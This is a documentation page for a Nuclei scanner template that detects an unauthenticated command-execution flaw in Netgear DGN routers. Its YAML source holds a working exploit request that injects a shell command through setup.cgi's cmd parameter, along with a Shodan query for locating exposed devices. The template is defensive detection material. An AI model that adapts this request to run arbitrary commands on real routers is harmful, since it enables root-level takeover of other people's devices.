Netgear DGN Devices - Command Execution
ID: netgear-dgn-rce
Severity: critical
Author: 3th1c_yuk1
Tags: rce,netgear,dgn
Description
Section titled “Description”This template checks for unauthenticated command execution vulnerability in Netgear DGN devices. Attackers can bypass authentication mechanisms and execute arbitrary commands with root privileges.
YAML Source
Section titled “YAML Source”id: netgear-dgn-rce
info: name: Netgear DGN Devices - Command Execution author: 3th1c_yuk1 severity: critical description: | This template checks for unauthenticated command execution vulnerability in Netgear DGN devices. Attackers can bypass authentication mechanisms and execute arbitrary commands with root privileges. reference: - https://www.crowdsec.net/blog/netgear-rce-and-how-vulnerabilities-persist-in-the-wild - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/netgear_dgn1000_setup_unauth_exec.md metadata: verified: true max-request: 1 shodan-query: "NETGEAR DGN" tags: rce,netgear,dgn
http: - method: GET path: - "{{BaseURL}}/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo%20{{randstr}}&curpath=/¤tsetting.htm=1"
matchers: - type: dsl dsl: - "contains(body, '{{randstr}}')" - "!contains(body, 'echo {{randstr}}')" - "!contains(body, 'echo%20{{randstr}}')" - "contains(content_type, 'text/plain')" - "status_code== 200" condition: and# digest: 4b0a00483046022100bac035fd18d0b6b02910b3d4ce04a10709eb26d33c2e03aab8ccc4730067f86c022100aab4866f87fb044bcbba30a23aa8e7519f798ad27660e0ac8f87908dfc822a39:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/netgear/netgear-dgn-rce.yaml"